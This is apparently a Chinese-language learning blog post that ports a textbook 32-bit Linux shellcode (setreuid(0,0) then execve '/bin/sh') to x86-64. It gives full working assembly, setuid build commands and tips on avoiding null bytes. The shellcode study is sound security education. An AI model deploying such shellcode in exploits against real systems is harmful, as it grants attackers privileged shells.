概述
一个简单的shellcode
最近对安全技术比较感兴趣,买了本灰帽黑客来看,发现书中的代码都是基于32位系统的,不能很好的在自己的X64架构的64位系统(Ubuntu15.10)上实验其代码,考虑到现在已经是64位的时代了,有必要搞懂在64位下如何实现,因此找了些相关的资料研究,终于把看懂的关于shellcode入门的32位汇编代码转成了64位的。
先看书本上32的汇编代码:
section .text
global _start
_start:
;setreuit(0,0)
xor eax, eax
mov al, 0x46
xor ebx, ebx
xor ecx, ecx
int 0x80
;spawn shellcode with execve
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 0xb
int 0x80
在翻译这段代码成64位的过程中,学习到了些32位和64位的不同,在翻译这段代码的过程中体现出的不同有:
1. AMD64位的寄存器是64位的,如rax寄存器对应32位的eax,在64位下也能用32的eax,16位的ax,8位的al,ah ,另外还多了r8 - r15这8个64位的通用寄存器
2. 64位下的系统调用号与32是不尽相同的,区别较大,在Ubuntu15.10下,查看64位的系统调用号可以看文件“/usr/include/x86_64-linux-gnu/asm/unistd_64.h” ,比如这个代码用到的setreuid在32位和64位下的调用号分别为0x46和0x71,execve的调用号分别为0xb和0x3b
3. 系统调用约定不同,64位下系统调用(普通函数调用也是)的约定为前6个参数依次放在如下寄存器:rdi , rsi , rdx , rcx , r8 , r9 .系统调用号放在rax ,返回的结果也放在rax
4. 系统调用的方式不同,64位下是syscall,而不是int 0x80
5. 64位下栈的大小是以64bit,8个字节进出栈的,32位是32bit,4字节
- 由于有上述的区别,因此在翻译的过程需要做如下调整:
- 使用32位寄存器的地方可以换成64位的
- 按照调用约定的不同,对应修改存值的寄存器,并使用正确的调用号
- 使用syscall代替int 0x80
- 在将sh命令的路径“/bin/sh”圧栈时不再需要入3次栈,因为刚好8个比特可以存下“/bin/sh”加上表示字符串结尾的“0x00”
- 但是不能将“/bin/sh”的数字表示”0x68732f6e69622f“直接圧栈,push一个直接数时不能超过32bit,因此需要先把这个超过了32bit表示的数mov到一个临时的寄存器,再将该寄存器圧栈
修改后的代码:
;gs.asm get shell
section .text
global _start
_start :
xor rax, rax
mov al, 0x71
xor rdi, rdi
syscall
xor rax, rax
mov r8, 0x68732f6e69622f
push r8
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
xor rdx, rdx
mov al, 0x3b
syscall
编译 -> 连接 -> 修改权限 ,就能看到书上说的得到一个shell的效果了~
nasm -g -f elf64 gs.asm
sudo ld -o gs gs.o
sudo chmod u+s gs
./gs
gdb -q gs
知道如何把这个简单的shellcode从32位翻到64位后,再翻书中更复杂的shellcode就容易了,虽然现在高版本的系统,高版本的gcc的各种保护机制导致书里的很多代码感觉都不能在64位里实现了。
还有几点说明:
1. 另外要注意,shellcode中不能出现”0x00“,因此mov调用号到rax时要mov到al
2. 使用objdump -d gs 就能得到shellcode的char[]了
3. 可以打开python3交互界面,使用 hex(ord(‘/’)) 查看字符的16进制表示,man ascii 查看ascii表
最后
以上就是天真摩托为你收集整理的学习写一个shellcode一个简单的shellcode的全部内容,希望文章能够帮你解决学习写一个shellcode一个简单的shellcode所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复